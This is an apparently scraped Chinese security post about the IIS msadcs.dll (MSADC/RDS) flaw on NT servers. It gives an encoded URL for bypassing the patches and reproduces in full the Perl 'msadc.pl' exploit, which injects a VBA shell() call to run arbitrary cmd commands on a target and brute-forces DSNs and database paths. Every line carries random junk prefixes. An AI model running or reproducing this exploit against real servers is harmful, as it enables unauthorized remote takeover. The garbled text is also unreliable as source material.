IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Ls<.&3X2 <H Le, 涉及程序:
v[aFSXGj) Microsoft NT server
: DxCjv hr+,-j 描述:
x}`]9XQ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
qm.30 2 +EmT+$>J 详细:
0u?{"xH{+} 如果你没有时间读详细内容的话,就删除:
yC]xYn) c:\Program Files\Common Files\System\Msadc\msadcs.dll
GAZw4dz 有关的安全问题就没有了。
C^o9::ER uA}w?; 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
6(Qr!< ?HP54G<{xz 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
],fu#pi=] 关于利用ODBC远程漏洞的描述,请参看:
QJcaOXyMS zH1pW( http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 5kK:1hH7 gbf-3KSp^ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
MpV3. http://www.microsoft.com/security/bulletins/MS99-025faq.asp %7X<:f|N8x \WDL?(G< 这里不再论述。
$Vi[195]2 T,Bu5:@# 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
)w{bT] GJUorj& /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
!s>AVV$;0 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
!T((d7; 4>uy+"8PO 6N{Vcfq #将下面这段保存为txt文件,然后: "perl -x 文件名"
P <$)v5f Wz}8O]#/. #!perl
];-DqK' #
qfO=_z ES # MSADC/RDS 'usage' (aka exploit) script
^1a/)Be{_ #
PY4RwN # by rain.forest.puppy
uhyw?#f #
Zu4|1W # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
L|y4u;-Q # beta test and find errors!
F{:ZHCm 0XrB+nt use Socket; use Getopt::Std;
Ub0hISA getopts("e:vd:h:XR", \%args);
!)jw o=l}J W+A-<Rh\ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
tQSj[Yl Xq3n7d. if (!defined $args{h} && !defined $args{R}) {
|ZEZ@y^ print qq~
S$CO T)7 Usage: msadc.pl -h <host> { -d <delay> -X -v }
z7[TgL7 -h <host> = host you want to scan (ip or domain)
]Qo.X~] -d <seconds> = delay between calls, default 1 second
nkKiYr -X = dump Index Server path table, if available
56;(mbW -v = verbose
)'<B\P/ -e = external dictionary file for step 5
^2gDhoO_ +`EF0sux Or a -R will resume a command session
T 4}SF xW$F-n ~; exit;}
t/;@~jfr@ \m.ap+dFa $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
j@kL`Q\&I if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
/`M>3q[ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
hEO#uAR^Z if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
4H7
3a5f $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
9;Z2.P"w if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
63s<U/N +N161vo7 if (!defined $args{R}){ $ret = &has_msadc;
?[$=5? die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
BrW1:2w
>\ ;2o+|U@ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
pK)*{fC$` . "cmd /c ";
p^2"g~ $in=<STDIN>; chomp $in;
i\P?Y(-{ $command="cmd /c " . $in ;
T6X%.tR>` 45Z"U<I,9 if (defined $args{R}) {&load; exit;}
8+m[ %5lu Qfhhceb6#J print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
U=?hT&w\S &try_btcustmr;
UbBo#(TZ) GVFR^pzO print "\nStep 2: Trying to make our own DSN...";
)$V &Nf
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
vepZod}D .g CC$ print "\nStep 3: Trying known DSNs...";
x^UE4$oo &known_dsn;
E$$pO.\ Mo+mO&B print "\nStep 4: Trying known .mdbs...";
NDG3mCl &known_mdb;
tMN^"sjf* 5e!YYt> if (defined $args{e}){
@ljvTgZ(X print "\nStep 5: Trying dictionary of DSN names...";
%ZNp &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
-1tdyCez OD,"8JF print "Sorry Charley...maybe next time?\n";
|!r.p_Zt exit;
N=qe*Rlf vYh_<Rp5 ##############################################################################
NF&
++Vr6 dcFqK~ sub sendraw { # ripped and modded from whisker
V}1D1.@ sleep($delay); # it's a DoS on the server! At least on mine...
=F!DwaZ my ($pstr)=@_;
u3!aKXnv< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
^y.e
Fz die("Socket problems\n");
S.;>:Dd[K if(connect(S,pack "SnA4x8",2,80,$target)){
9m2_zfO[w select(S); $|=1;
8\-Q(9q( print $pstr; my @in=<S>;
IAr select(STDOUT); close(S);
K^V*JH\G return @in;
{HV$hU+_)Q } else { die("Can't connect...\n"); }}
SZOcFmC? P!?Je/Tz] ##############################################################################
RB5fn+FiZ hcQvL> sub make_header { # make the HTTP request
ap;tggi(H my $msadc=<<EOT
zVLv-U/=d POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
'4PAH2&n User-Agent: ACTIVEDATA
,&S^R yc Host: $ip
U @Il:\I Content-Length: $clen
;4jRsirx9 Connection: Keep-Alive
Mr}]P(4h )"
H$1 ADCClientVersion:01.06
]Gw? DD|Gn Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
S~"1q 0 32_{nLV$[ --!ADM!ROX!YOUR!WORLD!
\`w!v,aM$ Content-Type: application/x-varg
X-oHQu5 Content-Length: $reqlen
Q AJX7 B;M{v5s~] EOT
#4(/#K 1j ; $msadc=~s/\n/\r\n/g;
{~*aXu3 return $msadc;}
Te%'9-jk RjO9E.nm ##############################################################################
I0 y+,~\ =<-tD< sub make_req { # make the RDS request
55vpnRM my ($switch, $p1, $p2)=@_;
'1)BZ!
my $req=""; my $t1, $t2, $query, $dsn;
@`:n +r5u tuA,t if ($switch==1){ # this is the btcustmr.mdb query
*_<P%J $query="Select * from Customers where City=" . make_shell();
Lc>9[!+# $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
;!<WL@C~ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
I*e85wef G Q&9b_ elsif ($switch==2){ # this is general make table query
m1 78S3 $query="create table AZZ (B int, C varchar(10))";
S7-ka{S $dsn="$p1";}
e^g3J/aU Jtj_Rl
! elsif ($switch==3){ # this is general exploit table query
W_EM
k $query="select * from AZZ where C=" . make_shell();
nZ>bOP+, $dsn="$p1";}
(7RxCo=X i2{xW`AcUh elsif ($switch==4){ # attempt to hork file info from index server
fP`g#t)4Tu $query="select path from scope()";
/^~3Ib8Fw+ $dsn="Provider=MSIDXS;";}
Lm<"W_ ,63hO.4M elsif ($switch==5){ # bad query
t&UPU&tY $query="select";
/#Y)nyE
$dsn="$p1";}
M.K-)r, 73/kyu-0% $t1= make_unicode($query);
s)$N&0\ $t2= make_unicode($dsn);
-Iz&/u*}f $req = "\x02\x00\x03\x00";
EAQg4N:D7L $req.= "\x08\x00" . pack ("S1", length($t1));
nG;wQvc $req.= "\x00\x00" . $t1 ;
LOyL:~$ $req.= "\x08\x00" . pack ("S1", length($t2));
xq:.|{HUk $req.= "\x00\x00" . $t2 ;
<dx
xXzLT $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
_//)|.6c3 return $req;}
bWv4'Y!p iw<#V&([J ##############################################################################
@ViJJ\ \oF79 sub make_shell { # this makes the shell() statement
^o+}3= return "'|shell(\"$command\")|'";}
@R=gJ:&a hd~X c ##############################################################################
v\*43RL jsSxjf;O sub make_unicode { # quick little function to convert to unicode
qr%9Sdvx my ($in)=@_; my $out;
&6A'}9Ch for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
BM*9d%m^ return $out;}
#LlHsY530N >:M3!6H_~{ ##############################################################################
R}F0_. !RLg[_' sub rdo_success { # checks for RDO return success (this is kludge)
y@[}FgVOh my (@in) = @_; my $base=content_start(@in);
\^iPU 27H if($in[$base]=~/multipart\/mixed/){
k LVf}J~? return 1 if( $in[$base+10]=~/^\x09\x00/ );}
_Zya GDv return 0;}
!3>(fj+QS <@FOqi{o{ ##############################################################################
<Vyv)#32o3 orn9;|8q sub make_dsn { # this makes a DSN for us
oxE'u< my @drives=("c","d","e","f");
;crQ7}k print "\nMaking DSN: ";
;bVC7D~~4w foreach $drive (@drives) {
ig:/60Z print "$drive: ";
mH>oF| my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
U0'> (FP~2 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
5EDN 9?a . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
o{yEF1,c\ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
\1'3--n return 0 if $2 eq "404"; # not found/doesn't exist
H8~<;6W if($2 eq "200") {
$X_JUzb foreach $line (@results) {
@-bX[}. return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
_^Lv8a3(O } return 0;}
][-N< jC1mui|Y^ ##############################################################################
h+Km | 4g]Er<-P sub verify_exists {
?Y2ZqI my ($page)=@_;
~vnG^y>% my @results=sendraw("GET $page HTTP/1.0\n\n");
e2Sm.H ' return $results[0];}
5k.NZ eRQ}`DjTk ##############################################################################
7
Xe|P1@) 0Vv6B2< sub try_btcustmr {
trmCIk&Fkj my @drives=("c","d","e","f");
lk{ my @dirs=("winnt","winnt35","winnt351","win","windows");
XnrOC|P$ D/jB. foreach $dir (@dirs) {
G?!b00H print "$dir -> "; # fun status so you can see progress
`HvU_ja; foreach $drive (@drives) {
c%v[p8
% print "$drive: "; # ditto
GHeJpS $reqlen=length( make_req(1,$drive,$dir) ) - 28;
jr{C/B} $reqlenlen=length( "$reqlen" );
$$~x: iN $clen= 206 + $reqlenlen + $reqlen;
@\v, $8o(_8Q) my @results=sendraw(make_header() . make_req(1,$drive,$dir));
~\`lbGJ7? if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
!s#25}9zX5 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
qd"1KzQWO Ar4E $\W ##############################################################################
LAeJz_9U g1VdP[Y# sub odbc_error {
LY2oBX@fC my (@in)=@_; my $base;
|;_NCy8i3X my $base = content_start(@in);
%se4aeOrX if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
B7(~m8:eH7 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Q[_{:DJA $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
OiNzN.}d $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_x 'R8/ return $in[$base+4].$in[$base+5].$in[$base+6];}
pkpD1c^ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
IRNL(9H print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
|WH'aGG $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
QlJ
cj+_h h`dtcJ0 ##############################################################################
,<F =\G_f m8eyAvi6 sub verbose {
%"PG/avo my ($in)=@_;
s42M[BW] return if !$verbose;
.GUm3b print STDOUT "\n$in\n";}
jW*|Mu>2 TjxZ-qw< ##############################################################################
<uUQ-]QOIh yjUZ40Dq sub save {
Ov"]&e(I[ my ($p1, $p2, $p3, $p4)=@_;
PE3FuJGz open(OUT, ">rds.save") || print "Problem saving parameters...\n";
QU^*(HGip print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
r#iZ FL3q close OUT;}
Jm$.$B&I }]_/:KUt ##############################################################################
aAZS^S4v r=P)iE: sub load {
l
T~RH0L my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
r2}u\U4> open(IN,"<rds.save") || die("Couldn't open rds.save\n");
=; Gw=m( @p=<IN>; close(IN);
Gm;)Om_ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
o&P}GcEIw $target= inet_aton($ip) || die("inet_aton problems");
$&/JY print "Resuming to $ip ...";
n/#zx:d? $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
3ny>5A!;2 if($p[1]==1) {
}S51yDV G_ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
tFt56/4 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
bVmHUcR0 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
ZC 7R f if (rdo_success(@results)){print "Success!\n";}
~Q"3#4l else { print "failed\n"; verbose(odbc_error(@results));}}
Bz<T{f elsif ($p[1]==3){
C,7d if(run_query("$p[3]")){
Z"PPXv-<jY print "Success!\n";} else { print "failed\n"; }}
0X@!i3eu elsif ($p[1]==4){
b/'{6zn if(run_query($drvst . "$p[3]")){
3~Od2nk(x print "Success!\n"; } else { print "failed\n"; }}
uc!j`G*] exit;}
V(_OyxeC{2 `s5<PCq ##############################################################################
X.hU23w :)VO,b~r sub create_table {
$Llv6<B my ($in)=@_;
-SZXUN $reqlen=length( make_req(2,$in,"") ) - 28;
,?k[<C $reqlenlen=length( "$reqlen" );
7S$Am84% $clen= 206 + $reqlenlen + $reqlen;
eqbQ,, & my @results=sendraw(make_header() . make_req(2,$in,""));
0+MNu8t return 1 if rdo_success(@results);
twElLOE my $temp= odbc_error(@results); verbose($temp);
-V0_%Smc return 1 if $temp=~/Table 'AZZ' already exists/;
eJA$J=^R; return 0;}
MyB&mC7Es u(l[~r>8W; ##############################################################################
rx2?y3pv %@
UH,Ew sub known_dsn {
ITJ{]7N # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
C'&)""3d my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
!z">aIj\6 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
G2
A#&86J{ "banner", "banners", "ads", "ADCDemo", "ADCTest");
_DsA<SJ] YoyJnl.?u foreach $dSn (@dsns) {
m ;-FP 2~ print ".";
h}-}!v next if (!is_access("DSN=$dSn"));
`G*7y7 if(create_table("DSN=$dSn")){
zQ3m@x print "$dSn successful\n";
+GCN63nX if(run_query("DSN=$dSn")){
{hQ0=rv< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
S:)Aj6>6 print "Something's borked. Use verbose next time\n";}}} print "\n";}
]D?// ta"uxL\gge ##############################################################################
G165grGFd ~hK7(K sub is_access {
zh`!x{Z?^ my ($in)=@_;
d: D`rpcC $reqlen=length( make_req(5,$in,"") ) - 28;
oV"d%ks $reqlenlen=length( "$reqlen" );
xxjg)rVuy $clen= 206 + $reqlenlen + $reqlen;
xC N6? my @results=sendraw(make_header() . make_req(5,$in,""));
Xi$( U8J_ my $temp= odbc_error(@results);
2gM=vaiH= verbose($temp); return 1 if ($temp=~/Microsoft Access/);
kFKc9}7W return 0;}
Mo?eVtZ s~e<Pr?yu ##############################################################################
4=/5 hRAI7xk sub run_query {
7P1G^) my ($in)=@_;
a&:1W83 $reqlen=length( make_req(3,$in,"") ) - 28;
;pe1tp $reqlenlen=length( "$reqlen" );
H$'|hUwds% $clen= 206 + $reqlenlen + $reqlen;
U\aP my @results=sendraw(make_header() . make_req(3,$in,""));
<Sds5 d return 1 if rdo_success(@results);
+B(x:hzY9 my $temp= odbc_error(@results); verbose($temp);
{UqS q return 0;}
wM.z/r\p g4b-~1[S ##############################################################################
?LJ$:u ycYT1Sg8 sub known_mdb {
2iOn\
^]x my @drives=("c","d","e","f","g");
1ocd$)B|} my @dirs=("winnt","winnt35","winnt351","win","windows");
_Z~cJIEU my $dir, $drive, $mdb;
dRwOt my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
3#GZ6:rVJ aD)$aK # this is sparse, because I don't know of many
!ieMhJ5r my @sysmdbs=( "\\catroot\\icatalog.mdb",
o95)-Wb "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
n>Cl;cN= "\\system32\\certmdb.mdb",
+c)"p4m "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
`=m[(CLb
[/dGOl+ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
3OnIAk3 "\\cfusion\\cfapps\\forums\\forums_.mdb",
s5/5>a V "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Bmx+QO "\\cfusion\\cfapps\\security\\realm_.mdb",
w2*.3I,~)B "\\cfusion\\cfapps\\security\\data\\realm.mdb",
1{6 BU! "\\cfusion\\database\\cfexamples.mdb",
%8c
<C "\\cfusion\\database\\cfsnippets.mdb",
V11(EZJ/j "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
NUxOU>f "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
1.S7MSpTV "\\cfusion\\brighttiger\\database\\cleam.mdb",
6 3TeTGp$ "\\cfusion\\database\\smpolicy.mdb",
Xjb 4dip "\\cfusion\\database\cypress.mdb",
8yW 8F26 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
wyzx9`5~d "\\website\\cgi-win\\dbsample.mdb",
2n]UNC "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
}YV,uJH[ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
!`kX</ha. ); #these are just
w+A:]SU foreach $drive (@drives) {
Skb,cKU foreach $dir (@dirs){
5L ]TV\\ foreach $mdb (@sysmdbs) {
8CXZ7 p print ".";
B$A`thQp if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
FHztF$Z print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
"ijpqI if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
EY~b,MIL4 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
4%! #=JCl } else { print "Something's borked. Use verbose next time\n"; }}}}}
vjo@aY.x j^4KczJl foreach $drive (@drives) {
zk6al$3R foreach $mdb (@mdbs) {
RYhaQ&1i print ".";
$~>3bik@ if(create_table($drv . $drive . $dir . $mdb)){
a[e&O&Z print "\n" . $drive . $dir . $mdb . " successful\n";
[tN^)c`s/ if(run_query($drv . $drive . $dir . $mdb)){
0*e)_l! print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
oJ\)-qSf } else { print "Something's borked. Use verbose next time\n"; }}}}
(CUrFZT$ }
~\vGwy \VY!= 9EV ##############################################################################
n oWjZ }E
o\=>l7 sub hork_idx {
PK&3nXF%4 print "\nAttempting to dump Index Server tables...\n";
C\-Abqc print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Xk2M.:3` $reqlen=length( make_req(4,"","") ) - 28;
{?2jvv $reqlenlen=length( "$reqlen" );
N=2BrKb)o $clen= 206 + $reqlenlen + $reqlen;
Z|78>0SAt my @results=sendraw2(make_header() . make_req(4,"",""));
M.DU^-7 if (rdo_success(@results)){
J#k3iE} my $max=@results; my $c; my %d;
'(ZJsw for($c=19; $c<$max; $c++){
]V*ku%L0 $results[$c]=~s/\x00//g;
6snDv4 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
0^%\! Xxq $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
SW94(4qo $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
"zN2+X"& $d{"$1$2"}="";}
r'TxYM-R foreach $c (keys %d){ print "$c\n"; }
[_$r- FA } else {print "Index server doesn't seem to be installed.\n"; }}
:eK(9o l ~bjNhk ##############################################################################
)7X+T'?% B: '}SA{ sub dsn_dict {
6CQ.>M:R open(IN, "<$args{e}") || die("Can't open external dictionary\n");
%:jVx while(<IN>){
2X];zY $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
2/*F}w/ next if (!is_access("DSN=$dSn"));
#9R[%R7Nz if(create_table("DSN=$dSn")){
!@6P>HzY$ print "$dSn successful\n";
d3nx"=Cy0I if(run_query("DSN=$dSn")){
t=-t xnlr< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
nqp:nw print "Something's borked. Use verbose next time\n";}}}
/mdPYV print "\n"; close(IN);}
#F>7@N:5 {z^6V\O5 ##############################################################################
WA'&